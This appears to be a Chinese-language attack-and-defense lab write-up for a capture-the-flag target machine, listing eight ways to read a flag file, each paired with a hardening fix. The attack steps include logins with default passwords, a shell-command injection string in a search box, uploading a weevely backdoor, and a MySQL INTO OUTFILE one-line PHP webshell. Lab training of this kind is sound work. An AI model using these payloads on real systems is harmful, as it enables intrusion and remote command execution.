小提示：flag 值一分钟更换一个，尽快输入。

方法 1

ftp 登录

ftp IP　　可登录用户有：admin、guest　　密码均为 123456

cd /root　　到 root 目录下面（pwd 查看当前位置）

ls　　列出目录

get 文件名　　下载文件（下载位置 C:/用户/ADMIN）

加固方法

更改密码

passwd 用户名

方法 2

ssh 登录

ssh 用户名@IP　　可登录用户有：root、admin、guest　　密码均为 123456

cd /root

vim 文件名

加固方法

更改密码

passwd 用户名

方法 3

telnet 登录

telnet IP　　可登录用户有：admin、guest　　密码均为 123456

cd /root

vim 文件名

加固方法

更改密码

passwd 用户名

方法 4

80 端口漏洞

审查自己虚拟机网站根目录文件夹，看每一个网站的作用，以便后面使用。

进入网站：IP/DisplayDirectory.php

在搜索框输入：&& cat /root/flagvalue.txt （&写一个也可以）

输入完确认，下面会显示 flag 值。

加固方法

靶机进入/root/var/www/html/ 文件夹

在此处打开终端，输入：vim DisplayDirectory.php （输入 set nu 显示行数）

第 7 行替换 DisplayDirectoryCtel.php 为#，保存退出。 （此方法会使这个网站不能搜索东西，但 UI 还在。#更改为别的值搜索会报错）

或者

输入 DisplayDirectoryCtel.php

第 4 行前面加#，退出保存。（此方法只会显示网站根目录，并不会显示搜索内容）

方法 5

80 端口漏洞

访问网站：IP/WebShell.php

搜索框输入：cat /root/flagvalue.txt

加固方法

靶机进入/root/var/www/html/ 文件夹

在此处打开终端，输入：vim WebShell.php

在 14 行前面加#，保存退出。

方法 6

网站后门注入（由于 BT5 版本落后没有所使用的工具，所以只能使用虚拟机 kali 最新版）

kail 生成后门：weevely generate 123456 /root/abc.php （123456 为密码，自己可以设置任何密码。abc.php 为生成后门的名字，abc 可以更改但只能是英文和数字，后缀名不能更改。）

访问网站：IP/FileSharing.php 点击‘x 选择文件’上传刚刚生成的文件。

kail 连接：weevely http://IP/uploadedfile/abc.php 123456

cat flagvalue.txt 查看标志值

加固方法

靶机进入/root/var/www/html/ 文件夹

在此处打开终端，输入：vim FileSharing.php

第 7 行替换 InsertFilelnfo.php 为#，保存退出。

方法 7

网站后台一句话木马注入

在靶机网站根目录中打开终端，输入：vim TestConn.php

可以从中获得数据库账号和密码。

使用命令远程连接数据库：mysql -h IP -u 用户名 -p

注入命令：select '<?php system($_GET[\'a\']); ?>'INTO OUTFILE '/var/www/html/a.php'; （最后面为木马注入位置，只能在网站根目录下面，a.php 为木马名）

在浏览器导航框输入：IP/a.php?a=cat /root/flagvalue.txt

加固方法

进入网站后台，修改密码。（IP/PhpMyAdmin）

权限>root 用户>编辑权限>更改密码>执行

方法 8

10000 后端口漏洞攻击

通过 nmap -p- IP 获得 10000 以后的端口号

连接命令：nc -nvv IP

cat /root/flagvalue.txt

加固方法

重置防火墙规则

service iptables stop 关闭防火墙

iptables -F 清除规则

iptables -P INPUT DROP 拒绝所有进来的流量

iptables -P FORWARD DROP 拒绝所有转发流量

iptables -P OUTPUT ACCEPT 允许所有出去的流量

iptables -A INPUT -p tcp --dport 21 -j ACCEPT 允许 21 端口的流量进来

iptables -A INPUT -p tcp --dport 22 -j ACCEPT 允许 22 端口的流量进来

iptables -A INPUT -p tcp --dport 23 -j ACCEPT 允许 23 端口的流量进来

iptables -A INPUT -p tcp --dport 80 -j ACCEPT 允许 80 端口的流量进来

iptables -A INPUT -p tcp --dport 3306 -j ACCEPT 允许 3306 端口的流量进来

service iptables save 保存规则

service iptables start 启动防火墙

nmap -p- IP 验证